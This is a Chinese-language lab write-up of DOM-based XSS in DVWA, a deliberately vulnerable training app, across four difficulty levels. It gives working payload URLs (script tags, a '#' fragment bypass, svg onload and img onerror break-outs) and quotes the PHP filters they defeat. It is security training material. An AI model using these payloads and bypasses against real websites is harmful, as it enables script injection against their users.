**DVWA 之 DOM**

xss主要分为三种，前面通过了dvwa分别研究了反射型和存储型两种xss，这次写篇有关dom xss的文章，dom xss和前面的两种xss的区别主要是：dom xss的产生并没有和后台服务器产生交互，而是通过浏览器的dom树解析产生的，下面来学习一下这种xss。

## low

## 漏洞利用

在/dvwa/vulnerabilities/xss\_d/?default=English中直接将English改为<script>alert('xss')</script>就OK





#### 服务器代码

<?php

# No protections, anything goes

?>

服务器端没有任何php代码，查看前端页面源代码，处理用户输入的只有前端的js代码



## Medium

## 漏洞利用

1. 利用Url截断机制加#号
url中有一个字符为#，该字符后的数据不会发送到服务器端，从而绕过服务端过滤，构造连接
/dvwa/vulnerabilities/xss\_d/?#default=<script>alert('xss')</script>



1. 用img标签或其他标签的特性去执行js代码，比如img标签的onerror事件，构造连接之前用过img的方法，这次使用svg的方法来完成。

/dvwa/vulnerabilities/xss\_d/?default=</option></select><svg onload=alert("xss")>



#### 服务器代码

<?php

// Is there any input?
if ( array\_key\_exists( "default", $\_GET ) && !is\_null ($\_GET[ 'default' ]) ) {
    $default = $\_GET['default'];

    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

?>

这次后端做了限制，前端无变化。
不允许出现script标签，否则就将default的值设为默认的English，stripos还防止了大小写绕过。

## High

## 漏洞利用

/dvwa/vulnerabilities/xss\_d/?default=English#</option></select><img src=xss onerror=alert(/xss/)>



#### 服务器代码

<?php

// Is there any input?
if ( array\_key\_exists( "default", $\_GET ) && !is\_null ($\_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($\_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?>

这次后端做了限制，前端无变化。
在服务器后端判断，要求default的值必须为select选择菜单中的值，这里继续用上面的#符号绕过即可，构造payload

## Impossible

#### 服务器代码

<?php

# Don't need to do anything, protction handled on the client side

?>

后端无任何限制，去看看前端代码后，发现是做了URL编码处理。

